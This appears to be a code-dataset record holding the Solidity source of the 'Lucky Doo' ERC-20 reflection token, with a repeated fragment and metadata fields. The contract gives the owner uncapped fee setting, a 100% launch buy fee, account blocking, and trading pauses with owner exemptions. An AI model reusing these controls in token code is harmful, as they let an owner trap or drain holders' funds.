_approve(_msgSender(),spender,_allowances[_msgSender()][spender].sub(subtractedValue,"ERC20: decreased allowance below zero")); return true; } function _approve(address owner,address spender,uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _getNow() private view returns (uint256) { return block.timestamp; } function launch() external onlyOwner { _launchStartTimestamp = _getNow(); _launchBlockNumber = block.number; isTradingEnabled = true; _isLaunched = true; } function cancelLaunch() external onlyOwner { require(this.isInLaunch(), "LuckyDooToken: Launch is not set"); _launchStartTimestamp = 0; _launchBlockNumber = 0; _isLaunched = false; } function activateTrading() external onlyOwner { isTradingEnabled = true; } function deactivateTrading() external onlyOwner { isTradingEnabled = false; _tradingPausedTimestamp = _getNow(); } function _setAutomatedMarketMakerPair(address pair, bool value) private { require(automatedMarketMakerPairs[pair] != value, "LuckyDooToken: Automated market maker pair is already set to that value"); automatedMarketMakerPairs[pair] = value; emit AutomatedMarketMakerPairChange(pair, value); } function allowTradingWhenDisabled(address account, bool allowed) external onlyOwner { _isAllowedToTradeWhenDisabled[account] = allowed; emit AllowedWhenTradingDisabledChange(account, allowed); } function excludeFromFees(address account, bool excluded) external onlyOwner { require(_isExcludedFromFee[account] != excluded, "LuckyDooToken: Account is already the value of 'excluded'"); _isExcludedFromFee[account] = excluded; emit ExcludeFromFeesChange(account, excluded); } function excludeFromMaxWalletLimit(address account, bool excluded) external onlyOwner { require(_isExcludedFromMaxWalletLimit[account] != excluded, "LuckyDooToken: Account is already the value of 'excluded'"); _isExcludedFromMaxWalletLimit[account] = excluded; emit ExcludeFromMaxWalletChange(account, excluded); } function excludeFromMaxTransactionLimit(address account, bool excluded) external onlyOwner { require(_isExcludedFromMaxTransactionLimit[account] != excluded, "LuckyDooToken: Account is already the value of 'excluded'"); _isExcludedFromMaxTransactionLimit[account] = excluded; emit ExcludeFromMaxTransferChange(account, excluded); } function blockAccount(address account) external onlyOwner { uint256 currentTimestamp = _getNow(); require(!_isBlocked[account], "LuckyDooToken: Account is already blocked"); if (_isLaunched) { require((currentTimestamp - _launchStartTimestamp) < _blockedTimeLimit, "LuckyDooToken: Time to block accounts has expired"); } _isBlocked[account] = true; emit BlockedAccountChange(account, true); } function unblockAccount(address account) external onlyOwner { require(_isBlocked[account], "LuckyDooToken: Account is not blcoked"); _isBlocked[account] = false; emit BlockedAccountChange(account, false); } function setWallets(address newLiquidityWallet, address newDevWallet, address newMarketingWallet, address newBuyBackWallett) external onlyOwner { if(liquidityWallet != newLiquidityWallet) { require(newLiquidityWallet != address(0), "LuckyDooToken: The liquidityWallet cannot be 0"); emit WalletChange('liquidityWallet', newLiquidityWallet, liquidityWallet); liquidityWallet = newLiquidityWallet; } if(devWallet != newDevWallet) { require(newDevWallet != address(0), "LuckyDooToken: The devWallet cannot be 0"); emit WalletChange('devWallet', newDevWallet, devWallet); devWallet = newDevWallet; } if(marketingWallet != newMarketingWallet) { require(newMarketingWallet != address(0), "LuckyDooToken: The marketingWallet cannot be 0"); emit WalletChange('marketingWallet', newMarketingWallet, marketingWallet); marketingWallet = newMarketingWallet; } if(buyBackWallet != newBuyBackWallett) { require(newBuyBackWallett != address(0), "LuckyDooToken: The buyBackWallet cannot be 0"); emit WalletChange('buyBackWallet', newBuyBackWallett, buyBackWallet); buyBackWallet = newBuyBackWallett; } } // Base fees function setBaseFeesOnBuy(uint8 _liquidityFeeOnBuy, uint8 _marketingFeeOnBuy, uint8 _devFeeOnBuy, uint8 _buyBackFeeOnBuy, uint8 _holdersFeeOnBuy) external onlyOwner { _setCustomBuyTaxPeriod(_base, _liquidityFeeOnBuy, _marketingFeeOnBuy, _devFeeOnBuy, _buyBackFeeOnBuy, _holdersFeeOnBuy); emit FeeChange('baseFees-Buy', _liquidityFeeOnBuy, _marketingFeeOnBuy, _devFeeOnBuy, _buyBackFeeOnBuy, _holdersFeeOnBuy); } function setBaseFeesOnSell(uint8 _liquidityFeeOnSell, uint8 _marketingFeeOnSell, uint8 _devFeeOnSell, uint8 _buyBackFeeOnSell, uint8 _holdersFeeOnSell) external onlyOwner { _setCustomSellTaxPeriod(_base, _liquidityFeeOnSell, _marketingFeeOnSell, _devFeeOnSell, _buyBackFeeOnSell, _holdersFeeOnSell); emit FeeChange('baseFees-Sell', _liquidityFeeOnSell, _marketingFeeOnSell, _devFeeOnSell, _buyBackFeeOnSell, _holdersFeeOnSell); } //Launch2 Fees function setLaunch2FeesOnBuy(uint8 _liquidityFeeOnBuy, uint8 _marketingFeeOnBuy, uint8 _devFeeOnBuy, uint8 _buyBackFeeOnBuy, uint8 _holdersFeeOnBuy) external onlyOwner { _setCustomBuyTaxPeriod(_launch2, _liquidityFeeOnBuy, _marketingFeeOnBuy, _devFeeOnBuy, _buyBackFeeOnBuy, _holdersFeeOnBuy); emit FeeChange('launch2Fees-Buy', _liquidityFeeOnBuy, _marketingFeeOnBuy, _devFeeOnBuy, _buyBackFeeOnBuy, _holdersFeeOnBuy); } function setLaunch2FeesOnSell(uint8 _liquidityFeeOnSell, uint8 _marketingFeeOnSell, uint8 _devFeeOnSell, uint8 _buyBackFeeOnSell, uint8 _holdersFeeOnSell) external onlyOwner { _setCustomSellTaxPeriod(_launch2, _liquidityFeeOnSell, _marketingFeeOnSell, _devFeeOnSell, _buyBackFeeOnSell, _holdersFeeOnSell); emit FeeChange('launch2Fees-Sell', _liquidityFeeOnSell, _marketingFeeOnSell, _devFeeOnSell, _buyBackFeeOnSell, _holdersFeeOnSell); } //Launch3 Fees function setLaunch3FeesOnBuy(uint8 _liquidityFeeOnBuy, uint8 _marketingFeeOnBuy, uint8 _devFeeOnBuy, uint8 _buyBackFeeOnBuy, uint8 _holdersFeeOnBuy) external onlyOwner { _setCustomBuyTaxPeriod(_launch3, _liquidityFeeOnBuy, _marketingFeeOnBuy, _devFeeOnBuy, _buyBackFeeOnBuy, _holdersFeeOnBuy); emit FeeChange('launch3Fees-Buy', _liquidityFeeOnBuy, _marketingFeeOnBuy, _devFeeOnBuy, _buyBackFeeOnBuy, _holdersFeeOnBuy); } function setLaunch3FeesOnSell(uint8 _liquidityFeeOnSell, uint8 _marketingFeeOnSell, uint8 _devFeeOnSell, uint8 _buyBackFeeOnSell, uint8 _holdersFeeOnSell) external onlyOwner { _setCustomSellTaxPeriod(_launch3, _liquidityFeeOnSell, _marketingFeeOnSell, _devFeeOnSell, _buyBackFeeOnSell, _holdersFeeOnSell); emit FeeChange('launch3Fees-Sell', _liquidityFeeOnSell, _marketingFeeOnSell, _devFeeOnSell, _buyBackFeeOnSell, _holdersFeeOnSell); } function setMaxWalletAmount(uint256 newValue) external onlyOwner { require(newValue != maxWalletAmount, "LuckyDooToken: Cannot update maxWalletAmount to same value"); emit MaxWalletAmountChange(newValue, maxWalletAmount); maxWalletAmount = newValue; } function setMaxTransactionAmount(uint256 newValue) external onlyOwner { require(newValue != maxTxAmount, "LuckyDooToken: Cannot update maxTxAmount to same value"); emit MaxTransactionAmountChange(newValue, maxTxAmount); maxTxAmount = newValue; } function excludeFromDividends(address account, bool excluded) public onlyOwner { require(_isExcludedFromDividends[account] != excluded, "LuckyDooToken: Account is already the value of 'excluded'"); if(excluded) { if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcludedFromDividends[account] = excluded; _excludedFromDividends.push(account); } else { for (uint256 i = 0; i < _excludedFromDividends.length; i++) { if (_excludedFromDividends[i] == account) { _excludedFromDividends[i] = _excludedFromDividends[_excludedFromDividends.length - 1]; _tOwned[account] = 0; _isExcludedFromDividends[account] = false; _excludedFromDividends.pop(); break; } } } emit ExcludeFromDividendsChange(account, excluded); } function setMinimumTokensBeforeSwap(uint256 newValue) external onlyOwner { require(newValue != minimumTokensBeforeSwap, "LuckyDooToken: Cannot update minimumTokensBeforeSwap to same value"); emit MinTokenAmountBeforeSwapChange(newValue, minimumTokensBeforeSwap); minimumTokensBeforeSwap = newValue; } function claimETHOverflow() external onlyOwner { require(address(this).balance > 0, "LuckyDooToken: Cannot send more than contract balance"); uint256 amount = address(this).balance; (bool success,) = address(owner()).call{value : amount}(""); if (success){ emit ClaimETHOverflow(amount); } } // Getters function name() external view returns (string memory) { return _name; } function symbol() external view returns (string memory) { return _symbol; } function decimals() external view virtual returns (uint8) { return _decimals; } function totalSupply() external view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcludedFromDividends[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function totalFees() external view returns (uint256) { return _tFeeTotal; } function allowance(address owner, address spender) external view override returns (uint256) { return _allowances[owner][spender]; } function isInLaunch() external view returns (bool) { uint256 currentTimestamp = !isTradingEnabled && _tradingPausedTimestamp > _launchStartTimestamp ? _tradingPausedTimestamp : _getNow(); uint256 totalLaunchTime = _launch1.timeInPeriod + _launch2.timeInPeriod + _launch3.timeInPeriod; if(_isLaunched && ((currentTimestamp - _launchStartTimestamp) < totalLaunchTime || (block.number - _launchBlockNumber) < _launch1.blocksInPeriod )) { return true; } else { return false; } } function getBaseBuyFees() external view returns (uint256, uint256, uint256, uint256, uint256){ return (_base.liquidityFeeOnBuy, _base.marketingFeeOnBuy, _base.devFeeOnBuy, _base.buyBackFeeOnBuy, _base.holdersFeeOnBuy); } function getBaseSellFees() external view returns (uint256, uint256, uint256, uint256, uint256){ return (_base.liquidityFeeOnSell, _base.marketingFeeOnSell, _base.devFeeOnSell, _base.buyBackFeeOnSell, _base.holdersFeeOnSell); } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "LuckyDooToken: Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount / currentRate; } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) external view returns (uint256) { require(tAmount <= _tTotal, "LuckyDooToken: Amount must be less than supply"); uint256 currentRate = _getRate(); uint256 rAmount = tAmount * currentRate; if (!deductTransferFee) { return rAmount; } else { uint256 rTotalFee = tAmount * _totalFee / 100 * currentRate; uint256 rTransferAmount = rAmount - rTotalFee; return rTransferAmount; } } // Main function _transfer( address from, address to, uint256 amount ) internal { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(amount <= balanceOf(from), "LuckyDooToken: Cannot transfer more than balance"); bool isBuyFromLp = automatedMarketMakerPairs[from]; bool isSelltoLp = automatedMarketMakerPairs[to]; bool _isInLaunch = this.isInLaunch(); if(!_isAllowedToTradeWhenDisabled[from] && !_isAllowedToTradeWhenDisabled[to]) { require(isTradingEnabled, "LuckyDooToken: Trading is currently disabled."); require(!_isBlocked[to], "LuckyDooToken: Account is blocked"); require(!_isBlocked[from], "LuckyDooToken: Account is blocked"); if (!_isExcludedFromMaxTransactionLimit[to] && !_isExcludedFromMaxTransactionLimit[from]) { require(amount <= maxTxAmount, "LuckyDooToken: Transfer amount exceeds the maxTxAmount."); } if (!_isExcludedFromMaxWalletLimit[to]) { require((balanceOf(to) + amount) <= maxWalletAmount, "LuckyDooToken: Expected wallet amount exceeds the maxWalletAmount."); } } _adjustTaxes(isBuyFromLp, isSelltoLp, _isInLaunch); bool canSwap = balanceOf(address(this)) >= minimumTokensBeforeSwap; if ( isTradingEnabled && canSwap && !_swapping && _totalFee > 0 && automatedMarketMakerPairs[to] && from != liquidityWallet && to != liquidityWallet && from != devWallet && to != devWallet && from != marketingWallet && to != marketingWallet && from != buyBackWallet && to != buyBackWallet ) { _swapping = true; _swapAndLiquify(); _swapping = false; } bool takeFee = !_swapping && isTradingEnabled; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function _tokenTransfer(address sender,address recipient, uint256 tAmount, bool takeFee) private { (uint256 tTransferAmount,uint256 tFee, uint256 tOther) = _getTValues(tAmount, takeFee); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 rOther) = _getRValues(tAmount, tFee, tOther, _getRate()); if (_isExcludedFromDividends[sender]) { _tOwned[sender] = _tOwned[sender] - tAmount; } if (_isExcludedFromDividends[recipient]) { _tOwned[recipient] = _tOwned[recipient] + tTransferAmount; } _rOwned[sender] = _rOwned[sender] - rAmount; _rOwned[recipient] = _rOwned[recipient] + rTransferAmount; _takeContractFees(rOther, tOther); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal -= rFee; _tFeeTotal += tFee; } function _getTValues(uint256 tAmount, bool takeFee) private view returns (uint256,uint256,uint256){ if (!takeFee) { return (tAmount, 0, 0); } else { uint256 tFee = tAmount * _holdersFee / 100; uint256 tOther = tAmount * (_liquidityFee + _devFee + _marketingFee + _buyBackFee) / 100; uint256 tTransferAmount = tAmount - (tFee + tOther); return (tTransferAmount, tFee, tOther); } } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tOther, uint256 currentRate ) private pure returns ( uint256, uint256, uint256, uint256) { uint256 rAmount = tAmount * currentRate; uint256 rFee = tFee * currentRate; uint256 rOther = tOther * currentRate; uint256 rTransferAmount = rAmount - (rFee + rOther); return (rAmount, rTransferAmount, rFee, rOther); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excludedFromDividends.length; i++) { if ( _rOwned[_excludedFromDividends[i]] > rSupply || _tOwned[_excludedFromDividends[i]] > tSupply ) return (_rTotal, _tTotal); rSupply = rSupply - _rOwned[_excludedFromDividends[i]]; tSupply = tSupply - _tOwned[_excludedFromDividends[i]]; } if (rSupply < _rTotal / _tTotal) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeContractFees(uint256 rOther, uint256 tOther) private { if (_isExcludedFromDividends[address(this)]) { _tOwned[address(this)] += tOther; } _rOwned[address(this)] += rOther; } function _adjustTaxes(bool isBuyFromLp, bool isSelltoLp, bool isLaunching) private { uint256 blocksSinceLaunch = block.number - _launchBlockNumber; uint256 currentTimestamp = !isTradingEnabled && _tradingPausedTimestamp > _launchStartTimestamp ? _tradingPausedTimestamp : _getNow(); uint256 timeSinceLaunch = currentTimestamp - _launchStartTimestamp; _liquidityFee = 0; _devFee = 0; _marketingFee = 0; _buyBackFee = 0; _holdersFee = 0; if (isBuyFromLp) { _liquidityFee = _base.liquidityFeeOnBuy; _devFee = _base.devFeeOnBuy; _marketingFee = _base.marketingFeeOnBuy; _buyBackFee = _base.buyBackFeeOnBuy; _holdersFee = _base.holdersFeeOnBuy; if(isLaunching) { if (_isLaunched && blocksSinceLaunch < _launch1.blocksInPeriod) { _liquidityFee = _launch1.liquidityFeeOnBuy; _devFee = _launch1.devFeeOnBuy; _marketingFee = _launch1.marketingFeeOnBuy; _buyBackFee = _launch1.buyBackFeeOnBuy; _holdersFee = _launch1.holdersFeeOnBuy; } else if (_isLaunched && timeSinceLaunch <= _launch2.timeInPeriod && blocksSinceLaunch > _launch1.blocksInPeriod) { _liquidityFee = _launch2.liquidityFeeOnBuy; _devFee = _launch2.devFeeOnBuy; _marketingFee = _launch2.marketingFeeOnBuy; _buyBackFee = _launch2.buyBackFeeOnBuy; _holdersFee = _launch2.holdersFeeOnBuy; } else { _liquidityFee = _launch3.liquidityFeeOnBuy; _devFee = _launch3.devFeeOnBuy; _marketingFee = _launch3.marketingFeeOnBuy; _buyBackFee = _launch3.buyBackFeeOnBuy; _holdersFee = _launch3.holdersFeeOnBuy; } } } if (isSelltoLp) { _liquidityFee = _base.liquidityFeeOnSell; _devFee = _base.devFeeOnSell; _marketingFee = _base.marketingFeeOnSell; _buyBackFee = _base.buyBackFeeOnSell; _holdersFee = _base.holdersFeeOnSell; if(isLaunching) { if (_isLaunched && blocksSinceLaunch < _launch1.blocksInPeriod) { _liquidityFee = _launch1.liquidityFeeOnSell; _devFee = _launch1.devFeeOnSell; _marketingFee = _launch1.marketingFeeOnSell; _buyBackFee = _launch1.buyBackFeeOnSell; _holdersFee = _launch1.holdersFeeOnSell; } else if (_isLaunched && timeSinceLaunch <= _launch2.timeInPeriod && blocksSinceLaunch > _launch1.blocksInPeriod) { _liquidityFee = _launch2.liquidityFeeOnSell; _devFee = _launch2.devFeeOnSell; _marketingFee = _launch2.marketingFeeOnSell; _buyBackFee = _launch2.buyBackFeeOnSell; _holdersFee = _launch2.holdersFeeOnSell; } else { _liquidityFee = _launch3.liquidityFeeOnSell; _devFee = _launch3.devFeeOnSell; _marketingFee = _launch3.marketingFeeOnSell; _buyBackFee = _launch3.buyBackFeeOnSell; _holdersFee = _launch3.holdersFeeOnSell; } } } _totalFee = _liquidityFee + _marketingFee + _devFee + _buyBackFee + _holdersFee; emit FeesApplied(_liquidityFee, _marketingFee, _devFee, _buyBackFee, _holdersFee, _totalFee); } function _setCustomSellTaxPeriod(CustomTaxPeriod storage map, uint8 _liquidityFeeOnSell, uint8 _marketingFeeOnSell, uint8 _devFeeOnSell, uint8 _buyBackFeeOnSell, uint8 _holdersFeeOnSell ) private { if (map.liquidityFeeOnSell != _liquidityFeeOnSell) { emit CustomTaxPeriodChange(_liquidityFeeOnSell, map.liquidityFeeOnSell, 'liquidityFeeOnSell', map.periodName); map.liquidityFeeOnSell = _liquidityFeeOnSell; } if (map.marketingFeeOnSell != _marketingFeeOnSell) { emit CustomTaxPeriodChange(_marketingFeeOnSell, map.marketingFeeOnSell, 'marketingFeeOnSell', map.periodName); map.marketingFeeOnSell = _marketingFeeOnSell; } if (map.devFeeOnSell != _devFeeOnSell) { emit CustomTaxPeriodChange(_devFeeOnSell, map.devFeeOnSell, 'devFeeOnSell', map.periodName); map.devFeeOnSell = _devFeeOnSell; } if (map.buyBackFeeOnSell != _buyBackFeeOnSell) { emit CustomTaxPeriodChange(_buyBackFeeOnSell, map.buyBackFeeOnSell, 'buyBackFeeOnSell', map.periodName); map.buyBackFeeOnSell = _buyBackFeeOnSell; } if (map.holdersFeeOnSell != _holdersFeeOnSell) { emit CustomTaxPeriodChange(_holdersFeeOnSell, map.holdersFeeOnSell, 'holdersFeeOnSell', map.periodName); map.holdersFeeOnSell = _holdersFeeOnSell; } } function _setCustomBuyTaxPeriod(CustomTaxPeriod storage map, uint8 _liquidityFeeOnBuy, uint8 _marketingFeeOnBuy, uint8 _devFeeOnBuy, uint8 _buyBackFeeOnBuy, uint8 _holdersFeeOnBuy ) private { if (map.liquidityFeeOnBuy != _liquidityFeeOnBuy) { emit CustomTaxPeriodChange(_liquidityFeeOnBuy, map.liquidityFeeOnBuy, 'liquidityFeeOnBuy', map.periodName); map.liquidityFeeOnBuy = _liquidityFeeOnBuy; } if (map.marketingFeeOnBuy != _marketingFeeOnBuy) { emit CustomTaxPeriodChange(_marketingFeeOnBuy, map.marketingFeeOnBuy, 'marketingFeeOnBuy', map.periodName); map.marketingFeeOnBuy = _marketingFeeOnBuy; } if (map.devFeeOnBuy != _devFeeOnBuy) { emit CustomTaxPeriodChange(_devFeeOnBuy, map.devFeeOnBuy, 'devFeeOnBuy', map.periodName); map.devFeeOnBuy = _devFeeOnBuy; } if (map.buyBackFeeOnBuy != _buyBackFeeOnBuy) { emit CustomTaxPeriodChange(_buyBackFeeOnBuy, map.buyBackFeeOnBuy, 'buyBackFeeOnBuy', map.periodName); map.buyBackFeeOnBuy = _buyBackFeeOnBuy; } if (map.holdersFeeOnBuy != _holdersFeeOnBuy) { emit CustomTaxPeriodChange(_holdersFeeOnBuy, map.holdersFeeOnBuy, 'holdersFeeOnBuy', map.periodName); map.holdersFeeOnBuy = _holdersFeeOnBuy; } } function _swapAndLiquify() private { uint256 contractBalance = balanceOf(address(this)); uint256 initialETHBalance = address(this).balance; uint8 totalFeePrior = _totalFee; uint8 liquidityFeePrior = _liquidityFee; uint8 marketingFeePrior = _marketingFee; uint8 devFeePrior = _devFee; uint8 buyBackFeePrior = _buyBackFee; uint256 amountToLiquify = contractBalance * _liquidityFee / _totalFee / 2; uint256 amountToSwapForETH = contractBalance - amountToLiquify; _swapTokensForETH(amountToSwapForETH); uint256 ETHBalanceAfterSwap = address(this).balance - initialETHBalance; uint256 totalETHFee = _totalFee - (_liquidityFee / 2); uint256 amountETHLiquidity = ETHBalanceAfterSwap * _liquidityFee / totalETHFee / 2; uint256 amountETHDev = ETHBalanceAfterSwap * _devFee / totalETHFee; uint256 amountETHBuyBack = ETHBalanceAfterSwap * _buyBackFee / totalETHFee; uint256 amountETHMarketing = ETHBalanceAfterSwap - (amountETHLiquidity + amountETHDev + amountETHBuyBack); payable(marketingWallet).transfer(amountETHMarketing); payable(devWallet).transfer(amountETHDev); payable(buyBackWallet).transfer(amountETHBuyBack); if (amountToLiquify > 0) { _addLiquidity(amountToLiquify, amountETHLiquidity); emit SwapAndLiquify(amountToSwapForETH, amountETHLiquidity, amountToLiquify); } _totalFee = totalFeePrior; _liquidityFee = liquidityFeePrior; _marketingFee = marketingFeePrior; _devFee = devFeePrior; _buyBackFee = buyBackFeePrior; } function _swapTokensForETH(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function _addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable liquidityWallet, block.timestamp ); } }
name
function name() external view returns (string memory) { return _name; }
// Getters
LineComment
v0.8.13+commit.abaa5c0e
MIT
ipfs://3084574085aba8adf8bd6fa057454a217e2339c100aff7233b3e43e668854fbd
{ "func_code_index": [ 15930, 16008 ] }
1,311
LuckyDoo
LuckyDoo.sol
0x78734a327b6d84b44c358cc42b2416967fe7a819
Solidity
LuckyDoo
contract LuckyDoo is IERC20, Ownable { using Address for address; using SafeMath for uint256; IRouter public uniswapV2Router; address public immutable uniswapV2Pair; string private constant _name = "Lucky Doo"; string private constant _symbol = "DOO"; uint8 private constant _decimals = 18; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 999000000000000 * 10**18; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; bool public isTradingEnabled; uint256 private _tradingPausedTimestamp; // max wallet is 2.0% of initialSupply uint256 public maxWalletAmount = _tTotal * 200 / 10000; // max tx is 0.53% of initialSupply uint256 public maxTxAmount = _tTotal * 530 / 100000; bool private _swapping; // max wallet is 0.025% of initialSupply uint256 public minimumTokensBeforeSwap = _tTotal * 250 / 1000000; address private dead = 0x000000000000000000000000000000000000dEaD; address public liquidityWallet; address public marketingWallet; address public devWallet; address public buyBackWallet; struct CustomTaxPeriod { bytes23 periodName; uint8 blocksInPeriod; uint256 timeInPeriod; uint8 liquidityFeeOnBuy; uint8 liquidityFeeOnSell; uint8 marketingFeeOnBuy; uint8 marketingFeeOnSell; uint8 devFeeOnBuy; uint8 devFeeOnSell; uint8 buyBackFeeOnBuy; uint8 buyBackFeeOnSell; uint8 holdersFeeOnBuy; uint8 holdersFeeOnSell; } // Launch taxes bool private _isLaunched; uint256 private _launchStartTimestamp; uint256 private _launchBlockNumber; CustomTaxPeriod private _launch1 = CustomTaxPeriod('launch1',5,0,100,1,0,4,0,2,0,3,0,2); CustomTaxPeriod private _launch2 = CustomTaxPeriod('launch2',0,3600,1,2,4,10,2,3,3,10,2,5); CustomTaxPeriod private _launch3 = CustomTaxPeriod('launch3',0,86400,1,2,4,8,2,3,3,10,2,4); // Base taxes CustomTaxPeriod private _default = CustomTaxPeriod('default',0,0,1,1,4,4,2,2,3,3,2,2); CustomTaxPeriod private _base = CustomTaxPeriod('base',0,0,1,1,4,4,2,2,3,3,2,2); uint256 private constant _blockedTimeLimit = 172800; mapping (address => bool) private _isAllowedToTradeWhenDisabled; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcludedFromMaxWalletLimit; mapping (address => bool) private _isExcludedFromMaxTransactionLimit; mapping (address => bool) private _isExcludedFromDividends; mapping (address => bool) private _isBlocked; mapping (address => bool) public automatedMarketMakerPairs; address[] private _excludedFromDividends; uint8 private _liquidityFee; uint8 private _devFee; uint8 private _marketingFee; uint8 private _buyBackFee; uint8 private _holdersFee; uint8 private _totalFee; event AutomatedMarketMakerPairChange(address indexed pair, bool indexed value); event UniswapV2RouterChange(address indexed newAddress, address indexed oldAddress); event WalletChange(string indexed indentifier, address indexed newWallet, address indexed oldWallet); event FeeChange(string indexed identifier, uint8 liquidityFee, uint8 marketingFee, uint8 devFee, uint8 buyBackFee, uint8 holdersFee); event CustomTaxPeriodChange(uint256 indexed newValue, uint256 indexed oldValue, string indexed taxType, bytes23 period); event BlockedAccountChange(address indexed holder, bool indexed status); event MaxWalletAmountChange(uint256 indexed newValue, uint256 indexed oldValue); event MaxTransactionAmountChange(uint256 indexed newValue, uint256 indexed oldValue); event ExcludeFromFeesChange(address indexed account, bool isExcluded); event ExcludeFromMaxTransferChange(address indexed account, bool isExcluded); event ExcludeFromMaxWalletChange(address indexed account, bool isExcluded); event ExcludeFromDividendsChange(address indexed account, bool isExcluded); event AllowedWhenTradingDisabledChange(address indexed account, bool isExcluded); event MinTokenAmountBeforeSwapChange(uint256 indexed newValue, uint256 indexed oldValue); event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived,uint256 tokensIntoLiqudity); event ClaimETHOverflow(uint256 amount); event FeesApplied(uint8 liquidityFee, uint8 marketingFee, uint8 devFee, uint8 buyBackFee, uint8 holdersFee, uint8 totalFee); constructor() { liquidityWallet = owner(); marketingWallet = owner(); devWallet = owner(); buyBackWallet = owner(); IRouter _uniswapV2Router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address _uniswapV2Pair = IFactory(_uniswapV2Router.factory()).createPair( address(this), _uniswapV2Router.WETH() ); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = _uniswapV2Pair; _setAutomatedMarketMakerPair(_uniswapV2Pair, true); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; excludeFromDividends(address(this), true); excludeFromDividends(address(dead), true); excludeFromDividends(address(_uniswapV2Router), true); _isAllowedToTradeWhenDisabled[owner()] = true; _isExcludedFromMaxWalletLimit[_uniswapV2Pair] = true; _isExcludedFromMaxWalletLimit[address(uniswapV2Router)] = true; _isExcludedFromMaxWalletLimit[address(this)] = true; _isExcludedFromMaxWalletLimit[owner()] = true; _isExcludedFromMaxTransactionLimit[address(this)] = true; _isExcludedFromMaxTransactionLimit[address(dead)] = true; _isExcludedFromMaxTransactionLimit[owner()] = true; _rOwned[owner()] = _rTotal; emit Transfer(address(0), owner(), _tTotal); } receive() external payable {} // Setters function transfer(address recipient, uint256 amount) external override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender,address recipient,uint256 amount) external override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) external virtual returns (bool){ _approve(_msgSender(),spender,_allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) external virtual returns (bool) { _approve(_msgSender(),spender,_allowances[_msgSender()][spender].sub(subtractedValue,"ERC20: decreased allowance below zero")); return true; } function _approve(address owner,address spender,uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _getNow() private view returns (uint256) { return block.timestamp; } function launch() external onlyOwner { _launchStartTimestamp = _getNow(); _launchBlockNumber = block.number; isTradingEnabled = true; _isLaunched = true; } function cancelLaunch() external onlyOwner { require(this.isInLaunch(), "LuckyDooToken: Launch is not set"); _launchStartTimestamp = 0; _launchBlockNumber = 0; _isLaunched = false; } function activateTrading() external onlyOwner { isTradingEnabled = true; } function deactivateTrading() external onlyOwner { isTradingEnabled = false; _tradingPausedTimestamp = _getNow(); } function _setAutomatedMarketMakerPair(address pair, bool value) private { require(automatedMarketMakerPairs[pair] != value, "LuckyDooToken: Automated market maker pair is already set to that value"); automatedMarketMakerPairs[pair] = value; emit AutomatedMarketMakerPairChange(pair, value); } function allowTradingWhenDisabled(address account, bool allowed) external onlyOwner { _isAllowedToTradeWhenDisabled[account] = allowed; emit AllowedWhenTradingDisabledChange(account, allowed); } function excludeFromFees(address account, bool excluded) external onlyOwner { require(_isExcludedFromFee[account] != excluded, "LuckyDooToken: Account is already the value of 'excluded'"); _isExcludedFromFee[account] = excluded; emit ExcludeFromFeesChange(account, excluded); } function excludeFromMaxWalletLimit(address account, bool excluded) external onlyOwner { require(_isExcludedFromMaxWalletLimit[account] != excluded, "LuckyDooToken: Account is already the value of 'excluded'"); _isExcludedFromMaxWalletLimit[account] = excluded; emit ExcludeFromMaxWalletChange(account, excluded); } function excludeFromMaxTransactionLimit(address account, bool excluded) external onlyOwner { require(_isExcludedFromMaxTransactionLimit[account] != excluded, "LuckyDooToken: Account is already the value of 'excluded'"); _isExcludedFromMaxTransactionLimit[account] = excluded; emit ExcludeFromMaxTransferChange(account, excluded); } function blockAccount(address account) external onlyOwner 